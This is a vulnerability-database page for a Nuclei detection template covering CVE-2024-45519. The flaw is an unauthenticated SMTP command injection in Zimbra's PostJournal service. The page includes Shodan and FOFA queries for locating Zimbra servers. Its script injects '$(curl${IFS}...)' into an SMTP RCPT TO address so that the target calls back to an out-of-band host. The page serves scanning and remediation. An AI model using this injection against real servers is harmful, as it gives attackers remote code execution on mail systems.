SecurityContext

CVE-2024-45519: Zimbra Collaboration Suite < 9.0.0 - Remote Code Execution

  • Template: CVE-2024-45519
  • Name: Zimbra Collaboration Suite < 9.0.0 - Remote Code Execution
  • Description: SMTP-based vulnerability in the PostJournal service of Zimbra Collaboration Suite that allows unauthenticated attackers to inject arbitrary commands. This vulnerability arises due to improper sanitization of SMTP input, enabling attackers to craft malicious SMTP messages that execute commands under the Zimbra user context. Successful exploitation can lead to unauthorized access, privilege escalation, and potential compromise of the affected system's integrity and confidentiality.
  • Impact: Unauthenticated attackers can inject arbitrary operating system commands through the PostJournal SMTP service, achieving remote code execution under the Zimbra user context.
  • Remediation: Upgrade Zimbra Collaboration Suite to version 9.0.0 or later that properly sanitizes SMTP input.
  • Severity: critical
  • Authors: pdresearch, iamnoooob, parthmalhotra, ice3man543
  • Tags: js, cve, cve2024, smtp, rce, zimbra, kev, vkev, vuln
  • References: https://wiki.zimbra.com/wiki/Zimbra_Security_Advisories, https://blog.projectdiscovery.io/zimbra-remote-code-execution/
  • Cves: CVE-2024-45519
  • Directory: javascript/cves
  • Path: javascript/cves/2024/CVE-2024-45519.yaml
  • Digest: 4a0a004730450220408781bb8e509ca3707597f76e73e0dde6a8b314acbd272e9a7e5c1d9835d722022100e69c5ee4e4082e59419e9813d068dfb1822ff06538da99f7cbba4b6ab6fa5594
  • Created at: 2024-09-29T10:22:07Z
  • Updated at: 2026-09-19T02:05:27Z
  • Age in days: 786
  • Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/javascript/cves/2024/CVE-2024-45519.yaml
  • Checked, none or zero: verified
  • Not known: max requests

Classification

  • Epss score: 0.99907
  • Epss percentile: 0.99967
  • Cpe: cpe:2.3:a:synacor:zimbra_collaboration_suite:*:*:*:*:*:*:*:*
  • Checked, none or zero: cwe
  • Not known: cvss score, cvss vector

Metadata

  • Fofa-query: title="zimbra web client sign in", title="zimbra collaboration suite"
  • Product: zimbra_collaboration_suite
  • Shodan-query: http.title:"zimbra collaboration suite", http.title:"zimbra web client sign in", http.favicon.hash:1624375939
  • Vendor: synacor

Products

ProductIndexedUrl
synacor:zimbra_collaboration_suiteyes/v1/products/synacor/zimbra_collaboration_suite

Labels

  • Name: Zimbra Collaboration Suite - Command Injection
  • Impact: Attackers can execute arbitrary commands, leading to unauthorized access, privilege escalation, and potential system compromise.
  • Remediation: Update to the latest version of Zimbra Collaboration Suite that addresses this vulnerability or apply the recommended security patches.
  • Vulnerability type: command_injection
  • Vulnerability impact: remote_code_execution
  • Requirement type: none
  • Labels source: projectdiscovery
  • From cve: CVE-2024-45519
  • Not known: requirements

```yaml

id: CVE-2024-45519

info:

name: Zimbra Collaboration Suite < 9.0.0 - Remote Code Execution

author: pdresearch,iamnoooob,parthmalhotra,ice3man543

severity: critical

description: |

SMTP-based vulnerability in the PostJournal service of Zimbra Collaboration Suite that allows unauthenticated attackers to inject arbitrary commands. This vulnerability arises due to improper sanitization of SMTP input, enabling attackers to craft malicious SMTP messages that execute commands under the Zimbra user context. Successful exploitation can lead to unauthorized access, privilege escalation, and potential compromise of the affected system's integrity and confidentiality.

impact: |

Unauthenticated attackers can inject arbitrary operating system commands through the PostJournal SMTP service, achieving remote code execution under the Zimbra user context.

remediation: |

Upgrade Zimbra Collaboration Suite to version 9.0.0 or later that properly sanitizes SMTP input.

reference:

- https://wiki.zimbra.com/wiki/Zimbra_Security_Advisories

- https://blog.projectdiscovery.io/zimbra-remote-code-execution/

classification:

epss-score: 0.99907

epss-percentile: 0.99967

cpe: cpe:2.3:a:synacor:zimbra_collaboration_suite:*:*:*:*:*:*:*:*

metadata:

vendor: synacor

product: zimbra_collaboration_suite

shodan-query:

- http.title:"zimbra collaboration suite"

- http.title:"zimbra web client sign in"

- http.favicon.hash:1624375939

fofa-query:

- title="zimbra web client sign in"

- title="zimbra collaboration suite"

tags: js,cve,cve2024,smtp,rce,zimbra,kev,vkev,vuln

javascript:

- pre-condition: |

isPortOpen(Host,Port);

code: |

let m = require('nuclei/net');

let address = Host+":"+Port;

let conn;

conn= m.Open('tcp', address)

conn.Send('EHLO localhost\r\n');

conn.RecvString()

conn.Send('MAIL FROM: <[email protected]>\r\n');

conn.RecvString()

conn.Send('RCPT TO: <"aabbb$(curl${IFS}'+oast+')"@mail.domain.com>\r\n');

conn.RecvString()

conn.Send('DATA\r\n');

conn.RecvString()

conn.Send('aaa\r\n');

conn.RecvString()

conn.Send('.\r\n');

resp = conn.RecvString()

conn.Send('QUIT\r\n');

conn.Close()

resp

args:

Host: "{{Host}}"

Port: 25

oast: "{{interactsh-url}}"

matchers-condition: and

matchers:

- type: word

part: interactsh_protocol

words:

- "http"

- type: word

words:

- "message delivered"

digest: 4a0a004730450220408781bb8e509ca3707597f76e73e0dde6a8b314acbd272e9a7e5c1d9835d722022100e69c5ee4e4082e59419e9813d068dfb1822ff06538da99f7cbba4b6ab6fa5594:922c64590222798bb761d5b6d8e72950

```